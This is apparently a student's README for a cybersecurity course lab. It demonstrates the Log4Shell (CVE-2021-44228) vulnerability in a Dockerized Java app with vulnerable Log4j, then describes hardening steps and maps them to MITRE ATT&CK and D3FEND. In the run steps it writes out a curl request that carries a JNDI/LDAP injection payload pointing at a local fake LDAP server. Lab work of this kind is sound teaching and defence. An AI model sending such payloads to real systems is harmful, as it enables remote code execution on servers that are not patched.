Homework 9 – Securing Systems Against Log4Shell Exploits

Overview

This project demonstrates the exploitation and mitigation of the Log4Shell vulnerability (CVE-2021-44228) using a Dockerized Java web application with vulnerable Log4j 2.14.1. The setup also includes a simulated malicious LDAP server to demonstrate the JNDI injection attack path.

After exploitation, the system is hardened by upgrading Log4j, validating input, and applying MITRE D3FEND and ATT&CK recommendations.

Folder Structure

log4shell-homework9/
├── docker-compose.yml
├── Dockerfile
├── pom.xml
├── ldap_server.py
├── src/...
├── architecture_diagram.png
├── README.md
├── mitigation_report.pdf

How to Run

1. Build the Java App (with vulnerable Log4j)

docker build -t vulnerable-app .

2. Run the App with Docker Compose

docker-compose up

App will be running at:
http://localhost:8080

3. Start the Fake LDAP Server (in a new terminal)

python3 ldap_server.py

4. Simulate an Exploit

Send a request like this to the app:

curl http://localhost:8080?input=${jndi:ldap://localhost:8000/Exploit}

The LDAP server should receive the request (this simulates the JNDI exploit).

How It’s Hardened

After demonstrating the attack, the system was secured by:

• Upgrading Log4j to version 2.17.0
• Input validation (blocking ${jndi:...} patterns)
• Disabling message lookups in configuration
• Docker isolation to limit scope
• MITRE D3FEND & ATT&CK techniques applied

MITRE Mapping

MITRE ATT&CK:

• T1190: Exploit Public-Facing Application
• T1210: Exploitation of Remote Services

MITRE D3FEND:

• D3-IA: Input Validation
• D3-HI: Host-based Intrusion Detection
• D3-DA: Disable Unsafe Features

Report

See mitigation_report.pdf for:

• System architecture before/after
• Explanation of Log4Shell
• Mitigation strategy
• Incident response plan

Screen Recording

If the video is not uploaded directly, it is available at the link in the report.

Author

Serpil Rivas
SEAS 8405 – Cybersecurity Architectures
May 2025